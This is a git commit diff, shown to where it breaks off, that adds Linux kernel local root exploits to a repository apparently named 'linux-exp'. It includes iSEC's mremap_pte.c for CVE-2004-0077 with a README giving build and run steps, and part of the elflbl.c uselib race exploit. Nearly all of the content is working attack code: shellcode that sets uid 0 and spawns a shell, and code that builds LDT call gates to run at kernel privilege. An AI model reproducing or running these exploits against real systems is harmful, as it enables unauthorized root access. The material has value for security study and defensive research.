linux-exp
This commit is contained in:
parent
54b57d59ed
commit
4dca098e74
|
@ -0,0 +1,300 @@
|
|||
/*
|
||||
*
|
||||
* mremap missing do_munmap return check kernel exploit
|
||||
*
|
||||
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
|
||||
* ./mremap_pte [suid] [[shell]]
|
||||
*
|
||||
* Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
|
||||
*
|
||||
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
|
||||
*
|
||||
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
|
||||
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
|
||||
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <syscall.h>
|
||||
#include <signal.h>
|
||||
#include <time.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include <asm/page.h>
|
||||
|
||||
|
||||
#define str(s) #s
|
||||
#define xstr(s) str(s)
|
||||
|
||||
// this is for standard kernels with 3/1 split
|
||||
#define STARTADDR 0x40000000
|
||||
#define PGD_SIZE (PAGE_SIZE * 1024)
|
||||
#define VICTIM (STARTADDR + PGD_SIZE)
|
||||
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)
|
||||
|
||||
#define DSIGNAL SIGCHLD
|
||||
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)
|
||||
|
||||
#define MREMAP_MAYMOVE ( (1UL) << 0 )
|
||||
#define MREMAP_FIXED ( (1UL) << 1 )
|
||||
|
||||
#define __NR_sys_mremap __NR_mremap
|
||||
|
||||
|
||||
// how many ld.so pages? this is the .text section length (like cat
|
||||
// /proc/self/maps) in pages
|
||||
#define LINKERPAGES 0x14
|
||||
|
||||
// suid victim
|
||||
static char *suid="/bin/ping";
|
||||
|
||||
// shell to start
|
||||
static char *launch="/bin/bash";
|
||||
|
||||
|
||||
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
|
||||
ulong, e);
|
||||
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
|
||||
unsigned long new_len, unsigned long flags,
|
||||
unsigned long new_addr);
|
||||
|
||||
static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
|
||||
static int i, pid=0;
|
||||
static char *env[2], *argv[2];
|
||||
static ulong ret;
|
||||
|
||||
|
||||
// code to appear inside the suid image
|
||||
static void suid_code(void)
|
||||
{
|
||||
__asm__(
|
||||
" call callme \n"
|
||||
|
||||
// setresuid(0, 0, 0), setresgid(0, 0, 0)
|
||||
"jumpme: xorl %ebx, %ebx \n"
|
||||
" xorl %ecx, %ecx \n"
|
||||
" xorl %edx, %edx \n"
|
||||
" xorl %eax, %eax \n"
|
||||
" mov $"xstr(__NR_setresuid)", %al \n"
|
||||
" int $0x80 \n"
|
||||
" mov $"xstr(__NR_setresgid)", %al \n"
|
||||
" int $0x80 \n"
|
||||
|
||||
// execve(launch)
|
||||
" popl %ebx \n"
|
||||
" andl $0xfffff000, %ebx \n"
|
||||
" xorl %eax, %eax \n"
|
||||
" pushl %eax \n"
|
||||
" movl %esp, %edx \n"
|
||||
" pushl %ebx \n"
|
||||
" movl %esp, %ecx \n"
|
||||
" mov $"xstr(__NR_execve)", %al \n"
|
||||
" int $0x80 \n"
|
||||
|
||||
// exit
|
||||
" xorl %eax, %eax \n"
|
||||
" mov $"xstr(__NR_exit)", %al \n"
|
||||
" int $0x80 \n"
|
||||
|
||||
"callme: jmp jumpme \n"
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static int suid_code_end(int v)
|
||||
{
|
||||
return v+1;
|
||||
}
|
||||
|
||||
|
||||
static inline void get_esp(void)
|
||||
{
|
||||
__asm__(
|
||||
" movl %%esp, %%eax \n"
|
||||
" andl $0xfffff000, %%eax \n"
|
||||
" movl %%eax, %0 \n"
|
||||
: : "m"(old_esp)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static inline void cloneme(void)
|
||||
{
|
||||
__asm__(
|
||||
" pusha \n"
|
||||
" movl $("xstr(CLONEFL)"), %%ebx \n"
|
||||
" movl %%esp, %%ecx \n"
|
||||
" movl $"xstr(__NR_clone)", %%eax \n"
|
||||
" int $0x80 \n"
|
||||
" movl %%eax, %0 \n"
|
||||
" popa \n"
|
||||
: : "m"(pid)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static inline void my_execve(void)
|
||||
{
|
||||
__asm__(
|
||||
" movl %1, %%ebx \n"
|
||||
" movl %2, %%ecx \n"
|
||||
" movl %3, %%edx \n"
|
||||
" movl $"xstr(__NR_execve)", %%eax \n"
|
||||
" int $0x80 \n"
|
||||
: "=a"(ret)
|
||||
: "m"(suid), "m"(argv), "m"(env)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
static inline void pte_populate(unsigned addr)
|
||||
{
|
||||
unsigned r;
|
||||
char *ptr;
|
||||
|
||||
memset((void*)addr, 0x90, PAGE_SIZE);
|
||||
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
|
||||
ptr = (void*) (addr + PAGE_SIZE);
|
||||
ptr -= r+1;
|
||||
memcpy(ptr, suid_code, r);
|
||||
memcpy((void*)addr, launch, strlen(launch)+1);
|
||||
}
|
||||
|
||||
|
||||
// hit VMA limit & populate PTEs
|
||||
static void exhaust(void)
|
||||
{
|
||||
// mmap PTE donor
|
||||
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(MAP_FAILED==t)
|
||||
goto failed;
|
||||
|
||||
// prepare shell code pages
|
||||
for(i=2; i<LINKERPAGES+1; i++)
|
||||
pte_populate(victim + PAGE_SIZE*i);
|
||||
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
|
||||
if(i)
|
||||
goto failed;
|
||||
|
||||
// lock unmap
|
||||
base = MMAP_BASE;
|
||||
cnt = 0;
|
||||
prot = PROT_READ;
|
||||
printf("\n"); fflush(stdout);
|
||||
for(;;) {
|
||||
t = mmap((void*)base, PAGE_SIZE, prot,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(MAP_FAILED==t) {
|
||||
if(ENOMEM==errno)
|
||||
break;
|
||||
else
|
||||
goto failed;
|
||||
}
|
||||
if( !(cnt%512) || cnt>65520 )
|
||||
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
|
||||
base+PAGE_SIZE); fflush(stdout);
|
||||
base += PAGE_SIZE;
|
||||
prot ^= PROT_EXEC;
|
||||
cnt++;
|
||||
}
|
||||
|
||||
// move PTEs & populate page table cache
|
||||
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
|
||||
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
|
||||
if(-1==ret)
|
||||
goto failed;
|
||||
|
||||
munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
|
||||
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
|
||||
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
|
||||
0);
|
||||
if(MAP_FAILED==t)
|
||||
goto failed;
|
||||
|
||||
*t = *((unsigned *)old_esp);
|
||||
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
|
||||
printf("\n[+] Success\n\n"); fflush(stdout);
|
||||
return;
|
||||
|
||||
failed:
|
||||
printf("\n[-] Failed\n"); fflush(stdout);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
|
||||
static inline void check_kver(void)
|
||||
{
|
||||
static struct utsname un;
|
||||
int a=0, b=0, c=0, v=0, e=0, n;
|
||||
|
||||
uname(&un);
|
||||
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
|
||||
if(n!=3 || a!=2) {
|
||||
printf("\n[-] invalid kernel version string\n");
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
if(b==2) {
|
||||
if(c<=25)
|
||||
v=1;
|
||||
}
|
||||
else if(b==3) {
|
||||
if(c<=99)
|
||||
v=1;
|
||||
}
|
||||
else if(b==4) {
|
||||
if(c>18 && c<=24)
|
||||
v=1, e=1;
|
||||
else if(c>24)
|
||||
v=0, e=0;
|
||||
else
|
||||
v=1, e=0;
|
||||
}
|
||||
else if(b==5 && c<=75)
|
||||
v=1, e=1;
|
||||
else if(b==6 && c<=2)
|
||||
v=1, e=1;
|
||||
|
||||
printf("\n[+] kernel %s vulnerable: %s exploitable %s",
|
||||
un.release, v? "YES" : "NO", e? "YES" : "NO" );
|
||||
fflush(stdout);
|
||||
|
||||
if(v && e)
|
||||
return;
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
|
||||
int main(int ac, char **av)
|
||||
{
|
||||
// prepare
|
||||
check_kver();
|
||||
memset(env, 0, sizeof(env));
|
||||
memset(argv, 0, sizeof(argv));
|
||||
if(ac>1) suid=av[1];
|
||||
if(ac>2) launch=av[2];
|
||||
argv[0] = suid;
|
||||
get_esp();
|
||||
|
||||
// mmap & clone & execve
|
||||
exhaust();
|
||||
cloneme();
|
||||
if(!pid) {
|
||||
my_execve();
|
||||
} else {
|
||||
waitpid(pid, 0, 0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// milw0rm.com [2004-03-01]
|
|
@ -0,0 +1,19 @@
|
|||
# CVE-2004-0077
|
||||
|
||||
CVE-2004-0077
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2004-0077](http://www.exploit-db.com/exploits/160/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
|
||||
./mremap_pte [suid] [[shell]]
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,912 @@
|
|||
/*
|
||||
* EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/
|
||||
*/
|
||||
|
||||
/*
|
||||
* binfmt_elf uselib VMA insert race vulnerability
|
||||
* v1.08
|
||||
*
|
||||
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
|
||||
*
|
||||
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
|
||||
*
|
||||
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
|
||||
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
|
||||
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <syscall.h>
|
||||
#include <limits.h>
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/sysinfo.h>
|
||||
|
||||
#include <linux/elf.h>
|
||||
#include <linux/linkage.h>
|
||||
|
||||
#include <asm/page.h>
|
||||
#include <asm/ldt.h>
|
||||
#include <asm/segment.h>
|
||||
|
||||
#define str(s) #s
|
||||
#define xstr(s) str(s)
|
||||
|
||||
#define MREMAP_MAYMOVE 1
|
||||
|
||||
|
||||
// temp lib location
|
||||
#define LIBNAME "/dev/shm/_elf_lib"
|
||||
|
||||
// shell name
|
||||
#define SHELL "/bin/bash"
|
||||
|
||||
// time delta to detect race
|
||||
#define RACEDELTA 5000
|
||||
|
||||
// if you have more deadbabes in memory, change this
|
||||
#define MAGIC 0xdeadbabe
|
||||
|
||||
|
||||
// do not touch
|
||||
#define SLAB_THRSH 128
|
||||
#define SLAB_PER_CHLD (INT_MAX - 1)
|
||||
#define LIB_SIZE ( PAGE_SIZE * 4 )
|
||||
#define STACK_SIZE ( PAGE_SIZE * 4 )
|
||||
|
||||
#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
|
||||
|
||||
#define ENTRY_GATE ( LDT_ENTRIES-1 )
|
||||
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )
|
||||
|
||||
#define ENTRY_LCS ( ENTRY_GATE-2 )
|
||||
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )
|
||||
|
||||
#define ENTRY_LDS ( ENTRY_GATE-1 )
|
||||
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )
|
||||
|
||||
#define kB * 1024
|
||||
#define MB * 1024 kB
|
||||
#define GB * 1024 MB
|
||||
|
||||
#define TMPLEN 256
|
||||
#define PGD_SIZE ( PAGE_SIZE*1024 )
|
||||
|
||||
|
||||
extern char **environ;
|
||||
|
||||
static char cstack[STACK_SIZE];
|
||||
static char name[TMPLEN];
|
||||
static char line[TMPLEN];
|
||||
|
||||
|
||||
static volatile int
|
||||
val = 0,
|
||||
go = 0,
|
||||
finish = 0,
|
||||
scnt = 0,
|
||||
ccnt=0,
|
||||
delta = 0,
|
||||
delta_max = RACEDELTA,
|
||||
map_flags = PROT_WRITE|PROT_READ;
|
||||
|
||||
|
||||
static int
|
||||
fstop=0,
|
||||
silent=0,
|
||||
pidx,
|
||||
pnum=0,
|
||||
smp_max=0,
|
||||
smp,
|
||||
wtime=2,
|
||||
cpid,
|
||||
uid,
|
||||
task_size,
|
||||
old_esp,
|
||||
lib_addr,
|
||||
map_count=0,
|
||||
map_base=0,
|
||||
map_addr,
|
||||
addr_min,
|
||||
addr_max,
|
||||
vma_start,
|
||||
vma_end,
|
||||
max_page;
|
||||
|
||||
|
||||
static struct timeval tm1, tm2;
|
||||
|
||||
static char *myenv[] = {"TERM=vt100",
|
||||
"HISTFILE=/dev/null",
|
||||
NULL};
|
||||
|
||||
static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
|
||||
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
|
||||
|
||||
|
||||
static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
|
||||
|
||||
|
||||
|
||||
#define __NR_sys_gettimeofday __NR_gettimeofday
|
||||
#define __NR_sys_sched_yield __NR_sched_yield
|
||||
#define __NR_sys_madvise __NR_madvise
|
||||
#define __NR_sys_uselib __NR_uselib
|
||||
#define __NR_sys_mmap2 __NR_mmap2
|
||||
#define __NR_sys_munmap __NR_munmap
|
||||
#define __NR_sys_mprotect __NR_mprotect
|
||||
#define __NR_sys_mremap __NR_mremap
|
||||
|
||||
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
|
||||
|
||||
inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
|
||||
|
||||
inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
|
||||
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
|
||||
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
|
||||
|
||||
inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
|
||||
inline _syscall2(int, sys_munmap, int, a, int, b);
|
||||
|
||||
inline _syscall1(int, sys_uselib, char*, l);
|
||||
|
||||
inline _syscall0(void, sys_sched_yield);
|
||||
|
||||
|
||||
|
||||
inline int tmdiff(struct timeval *t1, struct timeval *t2)
|
||||
{
|
||||
int r;
|
||||
|
||||
r=t2->tv_sec - t1->tv_sec;
|
||||
r*=1000000;
|
||||
r+=t2->tv_usec - t1->tv_usec;
|
||||
return r;
|
||||
}
|
||||
|
||||
|
||||
void fatal(const char *message, int critical)
|
||||
{
|
||||
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
|
||||
|
||||
if(!errno) {
|
||||
fprintf(stdout, "\n[-] FAILED: %s ", message);
|
||||
} else {
|
||||
fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
|
||||
(char*) (strerror(errno)) );
|
||||
}
|
||||
if(critical)
|
||||
printf("\nCRITICAL, entering endless loop");
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
|
||||
unlink(libname);
|
||||
kill(cpid, SIGKILL);
|
||||
for(;;) kill(0, sig);
|
||||
}
|
||||
|
||||
|
||||
// try to race do_brk sleeping on kmalloc, may need modification for SMP
|
||||
int raceme(void* v)
|
||||
{
|
||||
finish=1;
|
||||
|
||||
for(;;) {
|
||||
errno = 0;
|
||||
|
||||
// check if raced:
|
||||
recheck:
|
||||
if(!go) sys_sched_yield();
|
||||
sys_gettimeofday(&tm2, NULL);
|
||||
delta = tmdiff(&tm1, &tm2);
|
||||
if(!smp_max && delta < (unsigned)delta_max) goto recheck;
|
||||
smp = smp_max;
|
||||
|
||||
// check if lib VMAs exist as expected under race condition
|
||||
recheck2:
|
||||
val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
|
||||
if(val) continue;
|
||||
errno = 0;
|
||||
val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
|
||||
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
|
||||
if( !val || (val<0 && errno!=ENOMEM) ) continue;
|
||||
|
||||
// SMP?
|
||||
smp--;
|
||||
if(smp>=0) goto recheck2;
|
||||
|
||||
// recheck race
|
||||
if(!go) continue;
|
||||
finish++;
|
||||
|
||||
// we need to free one vm_area_struct for mmap to work
|
||||
val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
|
||||
if(val) fatal("mprotect", 0);
|
||||
val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(-1==val) fatal("mmap2 race", 0);
|
||||
printf("\n[+] race won maps=%d", map_count); fflush(stdout);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int callme_1()
|
||||
{
|
||||
return val++;
|
||||
}
|
||||
|
||||
|
||||
inline int valid_ptr(unsigned ptr)
|
||||
{
|
||||
return ptr>=task_size && ptr<addr_min-16;
|
||||
}
|
||||
|
||||
|
||||
inline int validate_vma(unsigned *p, unsigned s, unsigned e)
|
||||
{
|
||||
unsigned *t;
|
||||
|
||||
if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
|
||||
t=(unsigned*)p[3];
|
||||
if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
asmlinkage void kernel_code(unsigned *task)
|
||||
{
|
||||
unsigned *addr = task;
|
||||
|
||||
// find & reset uids
|
||||
while(addr[0] != uid || addr[1] != uid ||
|
||||
addr[2] != uid || addr[3] != uid)
|
||||
addr++;
|
||||
|
||||
addr[0] = addr[0] = addr[2] = addr[3] = 0;
|
||||
addr[4] = addr[5] = addr[6] = addr[7] = 0;
|
||||
|
||||
// find & correct VMA
|
||||
for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
|
||||
if( validate_vma(addr, vma_start, vma_end) ) {
|
||||
addr[1] = task_size - PAGE_SIZE;
|
||||
addr[2] = task_size;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void kcode(void);
|
||||
|
||||
|
||||
void __kcode(void)
|
||||
{
|
||||
asm(
|
||||
"kcode: \n"
|
||||
" pusha \n"
|
||||
" pushl %es \n"
|
||||
" pushl %ds \n"
|
||||
" movl $(" xstr(SEL_LDS) ") ,%edx \n"
|
||||
" movl %edx,%es \n"
|
||||
" movl %edx,%ds \n"
|
||||
" movl $0xffffe000,%eax \n"
|
||||
" andl %esp,%eax \n"
|
||||
" pushl %eax \n"
|
||||
" call kernel_code \n"
|
||||
" addl $4, %esp \n"
|
||||
" popl %ds \n"
|
||||
" popl %es \n"
|
||||
" popa \n"
|
||||
" lret \n"
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
int callme_2()
|
||||
{
|
||||
return val + task_size + addr_min;
|
||||
}
|
||||
|
||||
|
||||
void sigfailed(int v)
|
||||
{
|
||||
ccnt++;
|
||||
fatal("lcall", 1);
|
||||
}
|
||||
|
||||
|
||||
// modify LDT & exec
|
||||
void try_to_exploit(unsigned addr)
|
||||
{
|
||||
volatile int r, *v;
|
||||
|
||||
printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
|
||||
unlink(libname);
|
||||
|
||||
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
|
||||
if(r) fatal("mprotect 1", 1);
|
||||
|
||||
// check if really LDT
|
||||
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
||||
signal(SIGSEGV, sigfailed);
|
||||
r = *v;
|
||||
if(r != MAGIC) {
|
||||
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
|
||||
fatal("find LDT", 1);
|
||||
}
|
||||
|
||||
// yeah, setup CPL0 gate
|
||||
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
|
||||
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
|
||||
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
|
||||
|
||||
// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
|
||||
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
||||
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
|
||||
v[1] = 0x00cf9b00;
|
||||
|
||||
v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
|
||||
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
|
||||
v[1] = 0x00cf9300;
|
||||
|
||||
// reprotect to get only one big VMA
|
||||
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
|
||||
if(r) fatal("mprotect 2", 1);
|
||||
|
||||
// CPL0 transition
|
||||
sys_sched_yield();
|
||||
val = callme_1() + callme_2();
|
||||
asm("lcall $" xstr(SEL_GATE) ",$0x0");
|
||||
if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
|
||||
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
|
||||
} else {
|
||||
printf("\n[-] uid change failed" ); fflush(stdout);
|
||||
sigfailed(0);
|
||||
|
||||
}
|
||||
signal(SIGTERM, SIG_IGN);
|
||||
kill(0, SIGTERM);
|
||||
execl(shellname, "sh", NULL);
|
||||
fatal("execl", 0);
|
||||
}
|
||||
|
||||
|
||||
void scan_mm_finish();
|
||||
void scan_mm_start();
|
||||
|
||||
|
||||
// kernel page table scan code
|
||||
void scan_mm()
|
||||
{
|
||||
map_addr -= PAGE_SIZE;
|
||||
if(map_addr <= (unsigned)addr_min)
|
||||
scan_mm_start();
|
||||
|
||||
scnt=0;
|
||||
val = *(int*)map_addr;
|
||||
scan_mm_finish();
|
||||
}
|
||||
|
||||
|
||||
void scan_mm_finish()
|
||||
{
|
||||
retry:
|
||||
__asm__("movl %0, %%esp" : :"m"(old_esp) );
|
||||
|
||||
if(scnt) {
|
||||
pagemap[pidx] ^= 1;
|
||||
}
|
||||
else {
|
||||
sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
|
||||
}
|
||||
pidx--;
|
||||
scan_mm();
|
||||
goto retry;
|
||||
}
|
||||
|
||||
|
||||
// make kernel page maps before and after allocating LDT
|
||||
void scan_mm_start()
|
||||
{
|
||||
static int npg=0;
|
||||
static struct modify_ldt_ldt_s l;
|
||||
|
||||
pnum++;
|
||||
if(pnum==1) {
|
||||
pidx = max_page-1;
|
||||
}
|
||||
else if(pnum==2) {
|
||||
memset(&l, 0, sizeof(l));
|
||||
l.entry_number = LDT_ENTRIES-1;
|
||||
l.seg_32bit = 1;
|
||||
l.base_addr = MAGIC >> 16;
|
||||
l.limit = MAGIC & 0xffff;
|
||||
l.limit_in_pages = 1;
|
||||
if( modify_ldt(1, &l, sizeof(l)) != 0 )
|
||||
fatal("modify_ldt", 1);
|
||||
pidx = max_page-1;
|
||||
}
|
||||
else if(pnum==3) {
|
||||
npg=0;
|
||||
for(pidx=0; pidx<=max_page-1; pidx++) {
|
||||
if(pagemap[pidx]) {
|
||||
npg++;
|
||||
fflush(stdout);
|
||||
}
|
||||
else if(npg == LDT_PAGES) {
|
||||
npg=0;
|
||||
try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
|
||||
} else {
|
||||
npg=0;
|
||||
}
|
||||
}
|
||||
fatal("find LDT", 1);
|
||||
}
|
||||
|
||||
// save context & scan page table
|
||||
__asm__("movl %%esp, %0" : :"m"(old_esp) );
|
||||
map_addr = addr_max;
|
||||
scan_mm();
|
||||
}
|
||||
|
||||
|
||||
// return number of available SLAB objects in cache
|
||||
int get_slab_objs(const char *sn)
|
||||
{
|
||||
static int c, d, u = 0, a = 0;
|
||||
FILE *fp=NULL;
|
||||
|
||||
fp = fopen("/proc/slabinfo", "r");
|
||||
if(!fp)
|
||||
fatal("get_slab_objs: fopen", 0);
|
||||
fgets(name, sizeof(name) - 1, fp);
|
||||
do {
|
||||
c = u = a = -1;
|
||||
if (!fgets(line, sizeof(line) - 1, fp))
|
||||
break;
|
||||
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
|
||||
&d, &d, &d, &d);
|
||||
} while (strcmp(name, sn));
|
||||
close(fileno(fp));
|
||||
fclose(fp);
|
||||
return c == 7 ? a - u : -1;
|
||||
}
|
||||
|
||||
|
||||
// leave one object in the SLAB
|
||||
inline void prepare_slab()
|
||||
{
|
||||
int *r;
|
||||
|
||||
map_addr -= PAGE_SIZE;
|
||||
map_count++;
|
||||
map_flags ^= PROT_READ;
|
||||
|
||||
r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
|
||||
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
if(MAP_FAILED == r) {
|
||||
fatal("try again", 0);
|
||||
}
|
||||
*r = map_addr;
|
||||
}
|
||||
|
||||
|
||||
// sig handlers
|
||||
void segvcnt(int v)
|
||||
{
|
||||
scnt++;
|
||||
scan_mm_finish();
|
||||
}
|
||||
|
||||
|
||||
// child reap
|
||||
void reaper(int v)
|
||||
{
|
||||
ccnt++;
|
||||
waitpid(0, &v, WNOHANG|WUNTRACED);
|
||||
}
|
||||
|
||||
|
||||
// sometimes I get the VMAs in reversed order...
|
||||
// so just use anyone of the two but take care about the flags
|
||||
void check_vma_flags();
|
||||
|
||||
void vreversed(int v)
|
||||
{
|
||||
map_flags = 0;
|
||||
check_vma_flags();
|
||||
}
|
||||
|
||||
|
||||
void check_vma_flags()
|
||||
{
|
||||
if(map_flags) {
|
||||
__asm__("movl %%esp, %0" : :"m"(old_esp) );
|
||||
} else {
|
||||
__asm__("movl %0, %%esp" : :"m"(old_esp) );
|
||||
goto out;
|
||||
}
|
||||
signal(SIGSEGV, vreversed);
|
||||
val = * (unsigned*)(lib_addr + PAGE_SIZE);
|
||||
out:
|
||||
}
|
||||
|
||||
|
||||
// use elf library and try to sleep on kmalloc
|
||||
void exploitme()
|
||||
{
|
||||
int r, sz, pcnt=0;
|
||||
static char smiley[]="-\\|/-\\|/";
|
||||
|
||||
// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout);
|
||||
|
||||
// helper clone
|
||||
finish=0; ccnt=0;
|
||||
sz = sizeof(cstack) / sizeof(cstack[0]);
|
||||
cpid = clone(&raceme, (void*) &cstack[sz-16],
|
||||
CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
|
||||
if(-1==cpid) fatal("clone", 0);
|
||||
|
||||
// synchronize threads
|
||||
while(!finish) sys_sched_yield();
|
||||
finish=0;
|
||||
if(!silent) {
|
||||
printf("\n"); fflush(stdout);
|
||||
}
|
||||
|
||||
// try to hit the kmalloc race
|
||||
for(;;) {
|
||||
|
||||
r = get_slab_objs("vm_area_struct");
|
||||
while(r != 1) {
|
||||
prepare_slab();
|
||||
r--;
|
||||
}
|
||||
|
||||
sys_gettimeofday(&tm1, NULL);
|
||||
go = 1;
|
||||
r=sys_uselib(libname);
|
||||
go = 0;
|
||||
if(r) fatal("uselib", 0);
|
||||
if(finish) break;
|
||||
|
||||
// wipe lib VMAs and try again
|
||||
r = sys_munmap(lib_addr, LIB_SIZE);
|
||||
if(r) fatal("munmap lib", 0);
|
||||
if(ccnt) goto failed;
|
||||
|
||||
if( !silent && !(pcnt%64) ) {
|
||||
printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]);
|
||||
fflush(stdout);
|
||||
}
|
||||
pcnt++;
|
||||
}
|
||||
|
||||
// seems we raced, free mem
|
||||
r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
|
||||
if(r) fatal("munmap 1", 0);
|
||||
